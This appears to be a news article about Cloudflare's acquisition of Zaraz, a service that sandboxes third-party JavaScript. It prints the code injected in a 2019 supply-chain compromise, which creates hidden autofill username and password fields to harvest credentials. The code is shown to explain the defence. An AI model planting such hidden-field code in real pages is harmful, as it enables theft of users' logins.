Why Cloudflare Is Absorbing Zaraz

Cloudflare has acquired Zaraz, a startup whose core product was built on Cloudflare Workers. The acquisition follows roughly six months of internal testing at Cloudflare, where the company used Zaraz’s technology to tackle one of the web’s most persistent (and underestimated) problems: third-party JavaScript.

The Stranger With the Badge

The risk is easier to grasp with an analogy. Imagine a pharmacy where employees are vetted, contracted, and trusted. Then imagine someone decides the trash isn’t being taken out, so a well-meaning employee flags down a passerby, hands them a security badge, and gives them access to the building’s secure area. The stranger behaves well at first, but eventually passes the badge along to someone else, and that person uses the privileged access to rob the store and steal patient records.

That sounds absurd in the physical world, but it describes much of modern web development. Front-end developers, marketers, and even security teams routinely paste third-party script tags directly into their pages to handle routine functions: analytics, conversion tracking, fraud prevention. Each script gets the digital equivalent of a badge into the browser’s environment, and nothing stops it from doing more than the intended job.

The Threat Is Real

The mundane version of the problem is performance. Poorly written third-party scripts block rendering, and Cloudflare says they are frequently the biggest cause of slow websites. But the true danger is security. In 2019, a hacker compromised a third-party service that Cloudflare used and modified its JavaScript. The injected code targeted cloudflare.com, attempted to steal login cookies and credentials, and even auto-created username and password fields to enable autocomplete-based credential harvesting.

The actual injected code looked like this:

        var cf_form = document.createElement("form");
        cf_form.style.display = "none";
        document.body.appendChild(cf_form);
        var cf_email = document.createElement("input");
        cf_email.setAttribute("type", "text");
        cf_email.setAttribute("name", "email");
        cf_email.setAttribute("autocomplete", "username");
        cf_email.setAttribute("id", "_email_");
        cf_email.style.display = "none";
        cf_form.appendChild(cf_email);
        var cf_password = document.createElement("input");
        cf_password.setAttribute("type", "password");
        cf_password.setAttribute("name", "password");
        cf_password.setAttribute("autocomplete", "current-password");
        cf_password.setAttribute("id", "_password_");
        cf_password.style.display = "none";
        cf_form.appendChild(cf_password);

The attack was caught quickly and caused minimal damage, but it illustrates a structural flaw: a script designed to count page views should not have the ability to create password fields. Third-party scripts can also load other scripts from parties the site owner has never vetted, and they can change at any time without notice. In Cloudflare’s case, the attacker modified the compromised service to target only Cloudflare and added anti-debugging tricks to evade detection.

Cloudflare’s initial response was extreme: remove all third-party scripts from its websites entirely. That protected the company’s integrity but came at a cost, particularly for marketing teams that relied on those scripts to measure campaign performance. Zaraz’s founding argument was that the choice didn’t have to be so stark. Instead of banning scripts outright, site owners could strictly control what embedded scripts are allowed to do, the data they can access, and the effect they have on page rendering.

Sandboxed, Not Banished

Zaraz executes third-party scripts in a controlled environment. It blocks unauthorized actions, restricts access to cookies and other browser data, and prevents slow or compromised scripts from delaying page rendering. Cloudflare says that had it been running Zaraz during the 2019 attack, the threat would have been automatically neutralized: no password field creation, no cookie access, no attack surface.

Zaraz is available immediately to Cloudflare Enterprise customers, with a free beta version accessible from the Cloudflare dashboard for everyone else. Cloudflare says the technology is intended to roll out across a significant portion of the web, given that the company sits in front of roughly 20% of all websites.

Cloudflare is also sending a message to third-party script developers: scripts that are not properly secured will stop functioning as Zaraz adoption grows. Script providers who need help meeting modern standards are invited to reach out directly to [email protected].